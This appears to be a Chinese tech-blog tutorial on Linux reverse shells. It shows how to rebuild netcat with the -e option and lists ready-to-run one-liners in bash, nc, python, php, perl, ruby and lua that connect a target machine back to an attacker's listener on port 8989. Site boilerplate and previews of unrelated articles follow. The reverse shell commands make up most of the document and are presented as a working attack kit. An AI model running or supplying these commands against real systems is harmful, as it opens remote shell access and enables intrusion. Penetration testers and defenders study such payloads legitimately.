linux一句话反弹shell
参考文献:https://www.anquanke.com/post/id/87017
实验环境:
阿里云服务器:120.xxx.xxx.xx(开启了8989端口)
内网ubuntu:192.xxx.xx.xxx(无外网ip不可直接访问)
安装netcat
默认的各个linux发行版本已经自带了netcat工具包
,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e
这里都被阉割了,所以需要手动下载二进制安装包。
下载安装包: #wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certifica 解压: #tar -xvzf netcat-0.7.1.tar.gz 编译安装: /netcat-0.7.1# ./configure /netcat-0.7.1# make /netcat-0.7.1# make install /netcat-0.7.1# make clean
1.使用bash命令反弹
1.1先在服务器上监听8989端口nc -l -p 8989
1.2在目标机器上执行以下命令
bash -i >& /dev/tcp/120.xxx.xxx.xx/8989 0>&1 bash -i:产生一个bash交互环境 >&:将联合符号前面的内容与后面相结合然后一起重定向给后者 /dev/tcp/120.xxx.xxx.xx/8989:让攻击方与目标主机建立tcp链接 0>&1:将`标准的输入`与`标准输出`内容相结合,然后重定向给前面`标准输出`内容
2.使用nc反弹
2.1先在服务器上监听8989端口nc -l -p 8989
2.2在目标机器上执行以下命令nc -e /bin/sh 120.xxx.xxx.xx 8989
3.一句话反弹shell
3.1python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.xxx.xxx.xxx",8989));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3.2php
php -r '$sock=fsockopen("120.xxx.xxx.xxx",8989);exec("/bin/sh -i <&3 >&3 2>&3");'
3.3perl
perl -e 'use Socket;$i="120.xxx.xxx.xxx";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3.4ruby
ruby -rsocket -e'f=TCPSocket.open("120.xxx.xxx.xxx",8989).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
3.5lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('120.xxx.xxx.xxx','8989');os.execute('/bin/sh -i <&3 >&3 2>&3');"
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
通过k-means进行图像量化压缩--python实现
image.png 逻辑梳理 对于电脑来说,每种颜色都会有一个对应RGB值,比如黑色是[0,0,0],白色是[255,255,255],所以RGB模式下,最多可以区分16581375(255的三次方)种颜色。 另外我们知道,一张图片的大小与分辨率正相关,但其实也与图片颜色的复杂度是正相关的,相同分辨率的情况下,一张纯色图片是比一张五彩斑斓的图片要小的。 一张分辨率为100*100的图片,其实就是由10000个RGB值组成。所以我们要做的就是对于这10000个RGB值聚类成K个簇,然后使用每个簇内的质心点来替换簇内所有的RGB值,这样在不改变分辨率的情况下使用的颜色减少了,图片大小也就会减小了。 内容 导入包 import matplotlib.pyplot as plt import seaborn as sns from sklearn.cluster import KMeans #导入kmeans from sklearn.utils import shuffle import numpy as np from skimage import io import warnings w...
- 下一篇
Django 项目重命名
在日常学习工作过程中,我们难免需要复用以前的项目,这里讲下复用 Django 项目并重命名的过程。 1.修改项目名称,使用 pycharm -> refactor 重命名整个项目。 2.修改 manage.py 和 Django 下和项目名称相同的文件夹,使用 grep 指令找出和项目有关的字符串,如: grep 'test4' *.py 逐一修改。 3.删除 .idea 文件 rm -rf .idea/ 删除 .idea/文件后记得查看 Python 环境是否是你当前使用的环境,不是的话修改回来。 4.删除原有的Django server 的 configuration 配置,重新配置一个,修改环境变量。
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- CentOS8编译安装MySQL8.0.19
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- SpringBoot2整合Redis,开启缓存,提高访问速度
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Hadoop3单机部署,实现最简伪集群
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果